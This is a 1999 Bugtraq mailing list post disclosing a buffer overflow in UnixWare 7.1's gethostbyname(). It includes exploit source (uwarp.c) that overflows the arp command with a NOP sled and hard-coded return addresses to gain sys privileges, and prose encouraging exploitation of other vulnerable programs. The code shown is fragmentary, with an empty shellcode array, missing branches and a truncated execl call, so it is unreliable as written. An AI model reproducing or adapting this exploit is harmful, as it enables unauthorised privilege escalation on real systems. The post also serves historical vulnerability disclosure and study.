Home page logo

bugtraq logo Bugtraq mailing list archives

UnixWare 7 gethostbyname() overflow
From: btellier () USA NET (Brock Tellier)
Date: Thu, 2 Dec 1999 09:22:57 MST


A serious bug exists in UnixWare 7.1's libc.  A buffer overflow in
gethostbyname() will allow any user to obtain elevated privileges.

Is this the same gethostbyname() overflow which was present in ancient 
versions of non-unixware libc's way back when?  I can't say for sure, but
given SCO's record of fixing known holes (remember the OpenServer 5
Xtlib overflows, still present four years after they were known?), I 
wouldn't doubt it.

Any program which uses gethostbyname() with user-defined input is
vulnerable to a buffer overflow attack.  These overflows come with
various eases of exploitability.  My demonstration program happened to
be "arp", but any program calling this function will do.  When exploiting
the dozens of programs vulnerable to this hole, don't forget to check
your /etc/security/tcb/privs file for other non-suid programs which may
allow you to elevate your privileges as well. See my uidadmin advisory
for more info on UW7's privilege system.

--- uwarp.c ---
 ** UnixWare 7.1 arp exploit yields gid of sys 
 ** Demonstrates overflow in uw71's gethostbyname()
 ** use offsets of +-100
 ** Brock Tellier btellier () usa net

#include <stdlib.h>
#include <stdio.h>

char scoshell[]= 

#define LEN 3500
#define NOP 0x90

/* cc != gcc, use hard-coded addresses usually within 0x8045xxxx-0x8048xxxx
unsigned long get_sp(void) {

__asm__("movl %esp, %eax");


int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];
 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 else if (argc == 2){
 else if (argc == 3) {
 else {


addr=0x8046b75 + offset;

fprintf(stderr, "\nUnixWare 7.1 arp exploit yields uid of sys\n");
fprintf(stderr, "Brock Tellier btellier () usa net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)
        *(int *)&buf[i]=addr;

execl("/usr/sbin/arp", "arp", buf,


Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier () usa net

Get free email and a permanent address at http://www.netaddress.com/?N=1

  By Date           By Thread  

Current thread:
  • UnixWare 7 gethostbyname() overflow Brock Tellier (Dec 02)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]